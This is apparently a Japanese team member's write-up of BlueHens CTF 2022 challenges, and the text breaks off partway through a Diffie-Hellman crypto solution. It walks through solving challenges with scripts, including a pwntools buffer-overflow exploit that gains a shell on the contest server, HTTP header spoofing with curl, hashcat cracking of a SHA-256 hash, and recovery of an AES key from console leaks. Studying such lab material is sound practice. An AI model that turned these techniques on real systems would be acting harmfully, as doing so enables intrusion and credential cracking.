BlueHens CTF 2022 Writeup

この大会は2022/10/29 4:00(JST)~2022/10/31 4:00(JST)に開催されました。
今回もチームで参戦。結果は11660点で376チーム中8位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome Flag (MISC)

Discordに入り、#rulesチャネルのメッセージを見ると、フラグが書いてあった。

UDCTF{w3lc0m3_to_the_UDCTF}

Mountain Math (MISC)

計算結果をASCIIコードとしてデコードして、結合する。

>>> chr(42+7)
'1'
>>> chr(104+5)
'm'

>>> chr(27+23)
'2'
>>> chr(47+62)
'm'
>>> chr(16+36)
'4'
>>> chr(75+39)
'r'
>>> chr(57+59)
't'
>>> chr(34+17)
'3'
>>> chr(95+19)
'r'

>>> chr(172-56)
't'
>>> chr(187-83)
'h'
>>> chr(137-85)
'4'
>>> chr(340-230)
'n'

>>> chr(17*6)
'f'
>>> chr(7*7)
'1'
>>> chr(34*3)
'f'
>>> chr(29*4)
't'
>>> chr(13*8)
'h'

>>> chr(309//3)
'g'
>>> chr(456//4)
'r'
>>> chr(312//6)
'4'
>>> chr(1000//10)
'd'
>>> chr(1026//9)
'r'
UDCTF{1m_2m4rt3r_th4n_f1fth_gr4dr}

Wordles with Dads - KID MODE (MISC)

サーバの処理概要は以下の通り。

・lngstr: jokes.txtの内容
・jokes: lngstrの1行ごとの要素の配列(各要素は英大文字で構成)
・answer: jokesからランダムに選択
・problem: {"answer": answer, "guesses": 0}
・problem["guesses"]が6より小さい間、以下繰り返し
 ・guess: 入力
 ・makeguess(guess,problem)
  ・result = checkguess(problem["answer"], guess)
   ・長さが異なる場合Falseを返却
   ・guessに英大文字でない文字がある場合、Falseを返却
   ・truth = histomaker(problem["answer"])
    ・英大文字の辞書で、インデックスを追加したものを返却
   ・guess = histomaker(guess_in)
    ・英大文字の辞書で、インデックスを追加したものを返却
   ・correct = []
    ・position = []
   ・同じインデックスで同じ文字があれば、correctに追加
   ・実際のインデックスの長さの方が一致したものより長い場合は、positionに追加
   ・correctとpositionをソート
   ・{"correct": correct, "position": position}を返却
  ・correctとanswerの長さが一致した場合、フラグを表示して終了
  ・problem["guesses"] += 1
  ・problem["guesses"]が6以上の場合、終了
  ・resultを表示

ここで使われているjokes.txtがないかを検索すると、以下のページが見つかった。

https://gist.github.com/cheehieu/8b2185c2e52604598dadff177ce7576a/

print("Jokes are Upperclass. Thanks to icanhazdadjoke.com!")に書かれている内容からも一致する。icanhazdadjoke_scraper.pyをダウンロードして、Python2で実行し、icanhazdadjoke_jokes.txtを作成する。
これを元に、英大文字のみで、文字列長順に並べ、確認しやすいリストを作成する。

#!/usr/bin/env python3
import string

with open('icanhazdadjoke_jokes.txt', 'r', encoding="utf-8") as f:
    lines = f.read().splitlines()

words = []
for line in lines:
    word = ''
    for c in line:
        if c in string.ascii_letters:
            word += c.upper()
    if len(word) > 0:
        words.append(word)

words.sort(key=len)
for word in words:
    print(word)

あとは質問に合う答えを入力して答えていけばよい。

$ nc 0.cloud.chals.io 29788
Jokes are Upperclass.  Thanks to icanhazdadjoke.com!
WELCOME TO DAD JOKE WORDLE: Your joke is 50 letters long. It starts with WH
Guess? >
WHYDIDTHEKIDCROSSTHEPLAYGROUNDTOGETTOTHEOTHERSLIDE
{'correct': [0, 1, 2, 3, 4, 5, 6, 7, 8, 10, 13, 33, 34, 36, 44, 47, 49], 'position': [9, 11, 14, 15, 17, 18, 19, 22, 24, 25, 26, 28, 30, 31, 32, 35, 38, 39, 40, 43]} Guesses used: 1
Guess? >
WHYDIDTHEMINERGETFIREDFROMHISJOBHETOOKITFORGRANITE
You win the flag is UDCTF{S000_iPh0n3_ch4rg3rs_c4ll_3m_APPLE_JU1C3!}
UDCTF{S000_iPh0n3_ch4rg3rs_c4ll_3m_APPLE_JU1C3!}

MCU - Geoguesser OSINT - Historical Ciphers (GRUMBOT)

写真を見つつ、鍵を推測しながら、Vigenere暗号としてhttps://www.dcode.fr/vigenere-cipherで復号する。鍵は"PLAYLANDPARK"で復号できた。

UDCTF{1t_wa5_tr1sh_wa1ker_a11_a10ng}

Pokémon - RSA - OSINT (GRUMBOT)

1文字ずつ暗号化しているので、ブルートフォースで復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

BLOCK = 1024 // 8
e = 65537

with open('output', 'rb') as f:
    data = f.read()

n = bytes_to_long(data[:BLOCK])
encs = [bytes_to_long(data[i:i+BLOCK]) for i in range(BLOCK, len(data), BLOCK)]

flag = ''
for c in encs:
    for code in range(32, 127):
        if pow(code, e, n) == c:
            flag += chr(code)
            break

print(flag)

復号結果は以下の通り。

The flag used teleport and fleed. Some new reports show sightings at @PokemonSpoopy

https://twitter.com/PokemonSpoopyを見てみるが、フラグは削除されたようだ。Internet Archiveで2022/10/21のものを見てみる。

https://web.archive.org/web/20221021194547/https://twitter.com/PokemonSpoopy


以下のツイートがある。

b'\x18-.=-\x02\x12%YX\x1d4\r\x0c=ZX6\x07I\x03~6?\\*&\x13}\x1b2\x01\nHD}\x1e^Z\x05\x04'

"Mimikyu"を鍵にしてXORで復号する。

#!/usr/bin/env python3
enc = b'\x18-.=-\x02\x12%YX\x1d4\r\x0c=ZX6\x07I\x03~6?\\*&\x13}\x1b2\x01\nHD}\x1e^Z\x05\x04'

key = b'Mimikyu'

flag = ''
for i in range(len(enc)):
    flag += chr(enc[i] ^ key[i % len(key)])

print(flag)
UDCTF{gh05t_typ35_l0v3_R5A_f0r_ha110w33n}

Intro to PWN 1 (PWN)

$ file pwnme
pwnme: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ef08c550b5de37587964f8388eb29e1f87c43ff4, for GNU/Linux 3.2.0, not stripped

$ checksec.sh --file pwnme
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   pwnme

BOFでoverwrite_meを0x1337で上書きすればよい。配布されたファイルでは標準出力後にペイロードを送る必要があったが、ncで接続したサーバでは標準出力はなかった。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('0.cloud.chals.io', 19595)
else:
    p = process('./pwnme')

payload = b'A' * 0x100
payload += b'B' * 12
payload += p64(0x1337)

#data = p.recvline().rstrip()
#print(data)
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to 0.cloud.chals.io on port 19595: Done
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBB7\x13\x00\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
$ ls
flag.txt
pwnme
$ cat flag.txt
UDCTF{ez_pz_but_we_all_start_somewhere}
$ 
[*] Closed connection to 0.cloud.chals.io port 19595
UDCTF{ez_pz_but_we_all_start_somewhere}

Perhaps You Can (REV)

問題のコードをhexデコードすると、pycファイルになる。

#!/usr/bin/env python3
code = '550d0d0a00000000b7e8566370030000e300000000000000000000000000000000080000004000000073300200006500640083015a0165026501830164016b02731c650364028301010065046501a005a100830164036b02733465036402830101006501640464058502190064066b02734c650364028301010065016407190064086b027360650364028301010065066501640919008301640a1800650665016405190083016b02738465036402830101006501640b190065076508650965066501640c19008301830164046404640785031900830183016b0273b6650364028301010065066501640b19008301640d180065066501640d190083016b0273da650364028301010065066501640e190083015a0a65066501640f190083015a0b650a650b170064106b02900173086503640283010100650c650a650b830264116b0090017320650364028301010065016412641385021900a005a100a00da10064146b029001734265036402830101006501641319006501641519006b029001735c65036402830101006501641519006501641619006b029001737665036402830101006506650164171900830165066501641819008301140064196b029001739c650364028301010065066501641a1900830165066501641b19008301140065066501641c190083011400641d6b02900173ce6503640283010100650e641ea00f6510641f64208400650164216422850219008302a10183015a116511a012a1000100641ea00f6511a10164236b029002730e650364028301010065016424190064256b0290027324650364028301010065136426830101006404530029277a07696e7075743e20e926000000e90100000069d20d00004ee9060000007a0655444354467be9fffffffffa017de905000000e902000000e907000000e903000000e909000000e908000000e90a000000e9eb000000e977000000e90b000000e9180000005a1a3333356636323333363536653566363237393734373433333665e91b000000e91f000000e919000000e91a00000069522e0000e91c000000e91d000000e91e0000006960630900da0063010000000000000000000000010000000300000043000000730c000000740074017c0083018301530029014e2902da03737472da036f72642901da0178a900721c000000fa087472796d652e7079da083c6c616d6264613e20000000f300000000721e000000e920000000e9250000005a0e3030303131313131313132353537e922000000da01347a07596f752077696e2914da05696e707574da03746d70da036c656eda0465786974da0373756dda06656e636f6465721a000000da03636872da03696e747219000000721b000000da0179da036d6178da03686578da046c697374da046a6f696eda036d6170da027979da04736f7274da057072696e74721c000000721c000000721c000000721d000000da083c6d6f64756c653e01000000734a00000008010c01080110010801100108010c0108011c0108012a0108011c0108010c010c010e010801100108011a01080112010801120108011e0108012a01080120010801100108010e010801'

code = bytes.fromhex(code)
with open('chall.pyc', 'wb') as f:
    f.write(code)

デコンパイルする。

$ uncompyle6 chall.pyc
# uncompyle6 version 3.8.0
# Python bytecode 3.8.0 (3413)
# Decompiled from: Python 3.6.9 (default, Jun 29 2022, 11:45:57) 
# [GCC 8.4.0]
# Embedded file name: tryme.py
# Compiled at: 2022-10-25 04:34:15
# Size of source mod 2**32: 880 bytes
tmp = input('input> ')
if not len(tmp) == 38:
    exit(1)
if not sum(tmp.encode()) == 3538:
    exit(1)
if not tmp[:6] == 'UDCTF{':
    exit(1)
if not tmp[(-1)] == '}':
    exit(1)
if not ord(tmp[5]) - 2 == ord(tmp[6]):
    exit(1)
if not tmp[7] == chr(int(str(ord(tmp[3]))[::-1])):
    exit(1)
if not ord(tmp[7]) - 9 == ord(tmp[9]):
    exit(1)
x = ord(tmp[8])
y = ord(tmp[8])
if not x + y == 235:
    exit(1)
if not max(x, y) < 119:
    exit(1)
if not tmp[11:24].encode().hex() == '335f6233656e5f62797474336e':
    exit(1)
if not tmp[24] == tmp[27]:
    exit(1)
if not tmp[27] == tmp[31]:
    exit(1)
if not ord(tmp[25]) * ord(tmp[26]) == 11858:
    exit(1)
if not ord(tmp[28]) * ord(tmp[29]) * ord(tmp[30]) == 615264:
    exit(1)
yy = list(''.join(map(lambda x: str(ord(x)), tmp[32:37])))
yy.sort()
if not ''.join(yy) == '00011111112557':
    exit(1)
if not tmp[34] == '4':
    exit(1)
print('You win')
# okay decompiling chall.pyc

上からtmpの条件を見ていく。

・長さは38バイト
・ASCIIコードの合計は3538
・最初の6バイトは'UDCTF{'
・最後の1バイトは'}'
・ord(tmp[6])はord(tmp[5] - 2)
・tmp[7]は chr(int(str(ord(tmp[3]))[::-1]))
・ord(tmp[7]) - 9 == ord(tmp[9])
・ord(tmp[8]) + ord(tmp[10]) = 235
・max(ord(tmp[8]), ord(tmp[10])) < 119
・tmp[11:24].encode().hex() == '335f6233656e5f62797474336e'
・tmp[24] == tmp[27] == tmp[31]
・ord(tmp[25]) * ord(tmp[26]) == 11858
・ord(tmp[28]) * ord(tmp[29]) * ord(tmp[30]) == 615264
・tmp[32:37]の各文字のASCIIコードを1バイトごとにソートすると'00011111112557'
4

>>> chr(ord('{') - 2)
'y'
→tmp[6] = 'y'

>>> chr(int(str(ord('T'))[::-1]))
'0'
→tmp[7] = '0'

>>> chr(ord('0') - 9)
"'"
→tmp[9] = "'"

ord(tmp[8])とord(tmp[10])の組み合わせは117, 118しかない。
>>> chr(117)
'u'
>>> chr(118)
'v'
順不同だが、周り文字で意味合い的に以下のようになる。

tmp[8] = 'u'
tmp[10] = 'v'

>>> bytes.fromhex('335f6233656e5f62797474336e')
b'3_b3en_bytt3n'

→tmp[11:24] = '3_b3en_bytt3n'

tmp[24] == tmp[27] == tmp[31]はおそらく'_'

ord(tmp[25])とord(tmp[26])の組み合わせは98, 121しかない。

>>> chr(98)
'b'
>>> chr(121)
'y'
順不同だが、周り文字で意味合い的に以下のようになる。

tmp[25] = 'b'
tmp[26] = 'y'

ord(tmp[28]), ord(tmp[29]), ord(tmp[30])の組み合わせをブルートフォースで一覧で出す。

#!/usr/bin/env python3

for c28 in range(32, 127):
    for c29 in range(32, 127):
        for c30 in range(32, 127):
            if c28 * c29 * c30 == 615264:
                print(chr(c28) + chr(c29) + chr(c30))

実行結果は以下の通り。

3ht
3th
4ft
4tf
:fh
:hf
DNt
DWh
DhW
DtN
NDt
NtD
WDh
WhD
f4t
f:h
fh:
ft4
h3t
h:f
hDW
hWD
hf:
ht3
t3h
t4f
tDN
tND
tf4
th3

一番下の"th3"が一番合っていそう。
ASCIIコードの合計値を確認しながら、tmp[32:37]の組み合わせを考える。

>>> sum([ord(c) for c in 'UDCTF{y0u\'v3_b3en_bytt3n_by_th3_4}'])
3105

'4'を除く4つの文字のASCIIコードの合計は433。

#!/usr/bin/env python3
import itertools

chars = list('00011157')

for c in itertools.permutations(chars):
    c1 = int('1' + c[0] + c[1])
    c2 = int('1' + c[2] + c[3])
    c3 = int('1' + c[4] + c[5])
    c4 = int('1' + c[6] + c[7])
    if c1 + c2 + c3 + c4 == 433:
        print(chr(c1) + chr(c2) + chr(c3) + chr(c4))

パターンをいろいろ見ていたら、sn4keが合いそう。

>>> chr(115)
's'
>>> chr(110)
'n'
>>> chr(117)
'k'
>>> chr(101)
'e'

          1111111111222222222233333333
01234567890123456789012345678901234567
UDCTF{y0u'v3_b3en_bytt3n_by_th3_sn4ke}
UDCTF{y0u'v3_b3en_bytt3n_by_th3_sn4ke}

Headspace (WEB)

Refererをflag.orgにすれば良さそう。

$ curl -H "Referer: flag.org" https://bluehens-headspace.chals.io/
Access Denied! You are not using a valid agent. Currently you are using: curl/7.81.0

    Valid Agents: stealthmodeactive

今度は追加でUserAgentをstealthmodeactiveにする。

$ curl -A "stealthmodeactive" -H "Referer: flag.org" https://bluehens-headspace.chals.io/
Hmmm you seem to be using the wrong protocol. This server could use a PATCH...

今度は追加でPATCHメソッドにする。

$ curl -X PATCH -A "stealthmodeactive" -H "Referer: flag.org" https://bluehens-headspace.chals.io/
Nice! Hopefully you learned a thing or two about HTTP headers :) UDCTF{0uts1d3_t4h_m1nd}
UDCTF{0uts1d3_t4h_m1nd}

Audio Salad (FORENSICS)

Audacityで開き、スペクトログラムを見る。

スペクトログラムは以下のように見える。

49 52 51 48 54 7b 31 33 6f 74 5f 61 33 5f 6f 31 30 62 33 5f 70 66 30 5f 46 35 55 6b 68 4e 7d

デコードする。

>>> s = '49 52 51 48 54 7b 31 33 6f 74 5f 61 33 5f 6f 31 30 62 33 5f 70 66 30 5f 46 35 55 6b 68 4e 7d'.split(' ')
>>> ''.join([chr(int(c,16)) for c in s])
'IRQHT{13ot_a3_o10b3_pf0_F5UkhN}'

シーザー暗号と推測し、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 14:
UDCTF{13af_m3_a10n3_br0_R5GwtZ}
UDCTF{13af_m3_a10n3_br0_R5GwtZ}

Two Minute Challenge (CRYPTO)

CyberChefでの変換順が書いてある。ただし、XOR鍵がわからない。フラグが"UDCTF{"から始まることを前提にXOR前のデータの先頭と、XOR後のデータから鍵を求め、復号する。

#!/usr/bin/env python3
from base64 import *
import string

ct = '61217660734247595d165c47545e524049307077617748455c0c4508465058544d1860737761711a400d5e125c4a525b511c4e67707667764e155d5d465040535f004f1c617d7065721e405c5c465e4a550e531d496c7772617f4e405d5c405b47055c044f1f62257730724f41515e4b5d16555f50484e65702662274d405e51470c46555d524a4e607d7660734a475a5d165e12545e56484933707762724d4c5c0c475e475458574d186325766d7142400d5c475f40525950404a34727067774f115e08465840505f034d496071746d721e420c5d175a43540a504d4860732260234f405d50440847075e544a196620'

ct = bytes.fromhex(ct)

flag_head = 'UDCTF{'
enc_flag_head = b64encode(flag_head.encode())
enc_flag_head = enc_flag_head.hex()
enc_flag_head = b64encode(enc_flag_head.encode())[:-4]
enc_flag_head = enc_flag_head.hex().encode()

key = ''
for i in range(len(enc_flag_head)):
    key += chr(ct[i] ^ enc_flag_head[i])

key = key[:key.index('}') + 1]
print('[+] key:', key)

pt = b''
for i in range(len(ct)):
    pt += bytes([ct[i] ^ ord(key[i % len(key)])])

pt = bytes.fromhex(pt.decode())
pt = b64decode(pt)
pt = bytes.fromhex(pt.decode())
flag = b64decode(pt).decode()
print('[*] flag:', flag)

実行結果は以下の通り。

[+] key: UDCTF{thisisakey}
[*] flag: UDCTF{w3_m4de_th1s_1n_2_minute5!}
||
>|
<b>UDCTF{w3_m4de_th1s_1n_2_minute5!}</b>
|<

* Two Minute Challenge Pt. 2 (CRYPTO)
スペース区切りで、辞書の2つのワードのハッシュが与えられているので、そのワードを答える問題。
hashcatでクラックする。
>||
>hashcat -m 1400 -a 1 -j "$ " hash.txt dictionary.txt dictionary.txt
hashcat (v6.2.4) starting

OpenCL API (OpenCL 3.0 ) - Platform #1 [Intel(R) Corporation]
=============================================================
* Device #1: Intel(R) UHD Graphics 630, 3200/6484 MB (1621 MB allocatable), 24MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Dictionary cache built:
* Filename..: dictionary.txt
* Passwords.: 187632
* Bytes.....: 1852449
* Keyspace..: 187632
* Runtime...: 0 secs

Dictionary cache built:
* Filename..: dictionary.txt
* Passwords.: 187632
* Bytes.....: 1852449
* Keyspace..: 187632
* Runtime...: 0 secs

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 1475 MB

Dictionary cache built:
* Filename..: dictionary.txt
* Passwords.: 187632
* Bytes.....: 1852449
* Keyspace..: 35205767424
* Runtime...: 0 secs

[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =>

Session..........: hashcat
Status...........: Running
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: 0037bf7c229d58a1fdb2eca0276f2bc20e2094a91c010e42a56...7a4913
Time.Started.....: Sat Oct 29 11:55:34 2022 (19 secs)
Time.Estimated...: Sat Oct 29 12:08:26 2022 (12 mins, 33 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (dictionary.txt), Left Side
Guess.Mod........: File (dictionary.txt), Right Side
Speed.#1.........: 45555.7 kH/s (7.84ms) @ Accel:2 Loops:32 Thr:256 Vec:1
Recovered........: 0/1 (0.00%) Digests
Progress.........: 874512384/35205767424 (2.48%)
Rejected.........: 0/874512384 (0.00%)
Restore.Point....: 0/187632 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:71168-71200 Iteration:0-32
Candidate.Engine.: Device Generator
Candidates.#1....: aa hackmatack -> banyans hadji

[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =>

Session..........: hashcat
Status...........: Running
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: 0037bf7c229d58a1fdb2eca0276f2bc20e2094a91c010e42a56...7a4913
Time.Started.....: Sat Oct 29 11:55:34 2022 (52 secs)
Time.Estimated...: Sat Oct 29 12:08:32 2022 (12 mins, 6 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (dictionary.txt), Left Side
Guess.Mod........: File (dictionary.txt), Right Side
Speed.#1.........: 45199.5 kH/s (7.87ms) @ Accel:2 Loops:32 Thr:256 Vec:1
Recovered........: 0/1 (0.00%) Digests
Progress.........: 2370502656/35205767424 (6.73%)
Rejected.........: 0/2370502656 (0.00%)
Restore.Point....: 12288/187632 (6.55%)
Restore.Sub.#1...: Salt:0 Amplifier:5280-5312 Iteration:0-32
Candidate.Engine.: Device Generator
Candidates.#1....: banzai analemmas -> cataractous analogousness

[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =>

Session..........: hashcat
Status...........: Running
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: 0037bf7c229d58a1fdb2eca0276f2bc20e2094a91c010e42a56...7a4913
Time.Started.....: Sat Oct 29 11:55:34 2022 (1 min, 16 secs)
Time.Estimated...: Sat Oct 29 12:08:29 2022 (11 mins, 39 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (dictionary.txt), Left Side
Guess.Mod........: File (dictionary.txt), Right Side
Speed.#1.........: 45394.8 kH/s (7.91ms) @ Accel:2 Loops:32 Thr:256 Vec:1
Recovered........: 0/1 (0.00%) Digests
Progress.........: 3445948416/35205767424 (9.79%)
Rejected.........: 0/3445948416 (0.00%)
Restore.Point....: 12288/187632 (6.55%)
Restore.Sub.#1...: Salt:0 Amplifier:92800-92832 Iteration:0-32
Candidate.Engine.: Device Generator
Candidates.#1....: banzai looming -> cataractous loose

0037bf7c229d58a1fdb2eca0276f2bc20e2094a91c010e42a564fcc0b07a4913:coven salols

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: 0037bf7c229d58a1fdb2eca0276f2bc20e2094a91c010e42a56...7a4913
Time.Started.....: Sat Oct 29 11:55:34 2022 (2 mins, 23 secs)
Time.Estimated...: Sat Oct 29 11:57:57 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (dictionary.txt), Left Side
Guess.Mod........: File (dictionary.txt), Right Side
Speed.#1.........: 44270.7 kH/s (7.88ms) @ Accel:2 Loops:32 Thr:256 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 6377963520/35205767424 (18.12%)
Rejected.........: 0/6377963520 (0.00%)
Restore.Point....: 24576/187632 (13.10%)
Restore.Sub.#1...: Salt:0 Amplifier:143744-143776 Iteration:0-32
Candidate.Engine.: Device Generator
Candidates.#1....: cataracts salol -> cricks salsas

Started: Sat Oct 29 11:55:21 2022
Stopped: Sat Oct 29 11:57:58 2022
UDCTF{coven_salols}

My First XOR Problem (CRYPTO)

英子文字(0x61-0x7a)の10バイトの16進数表記文字列がXORの鍵になっている。フラグが"UDCTF{"から始まることを前提に鍵を推測しながら復号する。
最終的なコードは以下の通り。

#!/usr/bin/env python3
with open('enc', 'rb') as f:
    enc = f.read().rstrip()

flag_head = 'UDCTF{'

k = []
for i in range(len(flag_head)):
    k.append(chr(ord(flag_head[i]) ^ enc[i]))

#### let all 6x ####
k += ['6', '*'] * 7

#### guess ####
k[6] = '7'
k[7] = chr(ord('0') ^ enc[7])
k[8] = '7'
k[16] = '7'
k[9] = chr(ord('_') ^ enc[9])
k[11] = chr(ord('5') ^ enc[11])
k[13] = chr(ord('t') ^ enc[13])
k[15] = chr(ord('3') ^ enc[15])
k[17] = chr(ord('b') ^ enc[17])
k[19] = chr(ord('5') ^ enc[19])

print('[+] key:', ''.join(k))

flag = ''
for i in range(len(enc)):
    if k[i % len(k)] != '*':
        flag += chr(enc[i] ^ ord(k[i % len(k)] ))
    else:
        flag += '*'

print('[*] flag:', flag)

このコードの実行結果は以下の通り。

[+] key: 666676797368616f7a69
[*] flag: UDCTF{X0R_i5_th3_b35t}
UDCTF{X0R_i5_th3_b35t}

Oracle (CRYPTO)

スクリプトの処理概要は以下の通り。

・const flag = 'U2FsdGVkX19+39o87YO7Zj+D9Og1WLYWUMqboh+IWypf1plXoTmOcBysQuPa8wye'

■/
・メッセージ表示

■/flag
・flagを表示

■/ask
・メッセージ表示

■/ask/:magic
・:magicで指定した文字列をAES暗号化する。
・コンソールにエラーメッセージ'AES (ECB, PKCS7) Internal Error: Encryption error!'を出力
・コンソールにエラーメッセージ'Leaked ?'を出力

デベロッパーツールのコンソールで確認する。

https://bluehens-oracle.chals.io/ask/0
Leaked t, index 16

https://bluehens-oracle.chals.io/ask/1
Leaked h, index 17

https://bluehens-oracle.chals.io/ask/2
Leaked a, index 18

https://bluehens-oracle.chals.io/ask/3
Leaked t, index 19

https://bluehens-oracle.chals.io/ask/4
Leaked _, index 20

https://bluehens-oracle.chals.io/ask/5
Leaked i, index 21

https://bluehens-oracle.chals.io/ask/6
Leaked s, index 22

https://bluehens-oracle.chals.io/ask/7
Leaked _, index 23

https://bluehens-oracle.chals.io/ask/8
Leaked w, index 24

https://bluehens-oracle.chals.io/ask/9
Leaked o, index 25

https://bluehens-oracle.chals.io/ask/:
Leaked n, index 26

https://bluehens-oracle.chals.io/ask/;
Leaked d, index 27

https://bluehens-oracle.chals.io/ask/<
Leaked e, index 28

https://bluehens-oracle.chals.io/ask/=
Leaked r, index 29

https://bluehens-oracle.chals.io/ask/>
Leaked :, index 30

https://bluehens-oracle.chals.io/ask/%3f
Leaked ), index 31

https://bluehens-oracle.chals.io/ask/@
Leaked a, index 0

https://bluehens-oracle.chals.io/ask/A
Leaked _, index 1

https://bluehens-oracle.chals.io/ask/B
Leaked w, index 2

https://bluehens-oracle.chals.io/ask/C
Leaked o, index 3

https://bluehens-oracle.chals.io/ask/D
Leaked n, index 4

https://bluehens-oracle.chals.io/ask/E
Leaked d, index 5

https://bluehens-oracle.chals.io/ask/F
Leaked e, index 6

https://bluehens-oracle.chals.io/ask/G
Leaked r, index 7

https://bluehens-oracle.chals.io/ask/H
Leaked f, index 8

https://bluehens-oracle.chals.io/ask/I
Leaked u, index 9

https://bluehens-oracle.chals.io/ask/J
Leaked l, index 10

https://bluehens-oracle.chals.io/ask/K
Leaked _, index 11

https://bluehens-oracle.chals.io/ask/L
Leaked k, index 12

https://bluehens-oracle.chals.io/ask/M
Leaked e, index 13

https://bluehens-oracle.chals.io/ask/N
Leaked y, index 14

https://bluehens-oracle.chals.io/ask/O
Leaked _, index 15

リークした文字をインデックス順に並べる。

a_wonderful_key_that_is_wonder:)

これをkeyにしてフラグを復号する。

var CryptoJS = require('crypto-js');
var AES = require('crypto-js/aes');
var ECBMode = require('crypto-js/mode-ecb');
var PKCS7 = require('crypto-js/pad-pkcs7');

var enc = 'U2FsdGVkX19+39o87YO7Zj+D9Og1WLYWUMqboh+IWypf1plXoTmOcBysQuPa8wye';
var key = 'a_wonderful_key_that_is_wonder:)';
var flag = AES.decrypt(enc, key, {mode: ECBMode, padding: PKCS7});
console.log(flag.toString(CryptoJS.enc.Utf8));
UDCTF{th3_l5angu6e_1s_r2w_m2th}

Lovers' Quarrel (CRYPTO)

スクリプトの処理概要は以下の通り。

■クライアント
・g = 2
・s: 512ビット素数
・p: 固定値
・url: 環境変数 MESSAGING_SERVER の値
・partner: 環境変数 PARTNER の値
・id: 環境変数 CHAT_ID の値
・conversation_file: 環境変数 CONVERSATION の値
・conversation_starter: 環境変数 NAME の値が"Eve"である場合True、そうでない場合False
・DHSession(id, g, s, p, partner, url, conversation_file, conversation_starter)
 ・session.shared_secret = None
 ・session.secret = s
 ・session.modulus = p
 ・session.exp = pow(g, s, p)
 ・session.partner = partner
 ・session.id = id
 ・session.url = url
 ・session.conversation_starter = conversation_starter
 ・session.conversation_file = conversation_file
 ・session.__ctr = 0
 ・session.post(f"{url}/sessions/{id}",data=json.dumps({"exp": exp}),headers={"Content-Type": "application/json"})
 ・session.__get_key()
  ・以下5回繰り返し
   ・res = self.get(f"{url}/sessions/{partner}/key")
   ・res.okがTrueの場合、
    ・session.shared_secret = pow(res.json()["exp"], s, p).to_bytes(128,"big")[:16]
    ・終了

■サーバ
□/sessions/<client> [POST]
:create_session(client: str)
・exp = js["exp"]
・active_sessions[client] = DHSession(client,exp,[])
・"Started session for user {client}"をログ出力

□/session/<client>/key
:get_key(client: uuid.UUID)
・active_sessions[client].expをログ出力

□/sessions/<client>/messages/<index>
:get_message(client: uuid.UUID, index: str)
・"Someone queried message {index}: {message}"をログ出力

一方の公開鍵は以下の通り。

0x3def414f61737a47895419ec73fc1eed713c954debfefd7c5c4fb2893dfee959744fa9fc9eabf0a5f6e86b476c952745608b1e513260d872c456b1ca58b54252d69c448ceb08c6700351417009883bb83a5223fa521c6d0142dbf3bce0dd2c050decc6ddf3e0a1b3956468ee9a8e7078fa3614282d34b44ae0137d72997d

もう一方の公開鍵は以下の通り。

0xb634ed07578e7c5b2c06373f2622e71fa32b06ef77022e2ed89df68af194421bb2627fc49c49f6911111c46042b466ac1b6914552dca607a045c681842ad6da0f5ad10e91ecd8d761d7e440d0b7f0cc5c2aa1d595f9c6704519a5c8203eb252dc29743773538ef960f97005143d4cee38837aaf1cc98ead678d44c77002d

sageに計算させれば、片方の秘密鍵がわかり、共有鍵を算出できる。あとはやり取りしている、ivとmsgからAES暗号を復号していけばよい。

#!/usr/bin/env sage
from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES

g = 2
p = 0xf6c6d4d9e03b8d02e7a525366e6a811d8558fbde1368904742a82e376b2511b48108be0dddb3fbb8fefb22cd66e158ac684a98e09d122ce37cda9574f2fc62f6fb1b99d6663a8db8380391b35653b87991279b3a296a774d18ec18d42169ee67d4f21ba9b3f39cdced3a0584177aa6639a70f48622b719a4952ddb4decf3
pub1 = 0x3def414f61737a47895419ec73fc1eed713c954debfefd7c5c4fb2893dfee959744fa9fc9eabf0a5f6e86b476c952745608b1e513260d872c456b1ca58b54252d69c448ceb08c6700351417009883bb83a5223fa521c6d0142dbf3bce0dd2c050decc6ddf3e0a1b3956468ee9a8e7078fa3614282d34b44ae0137d72997d
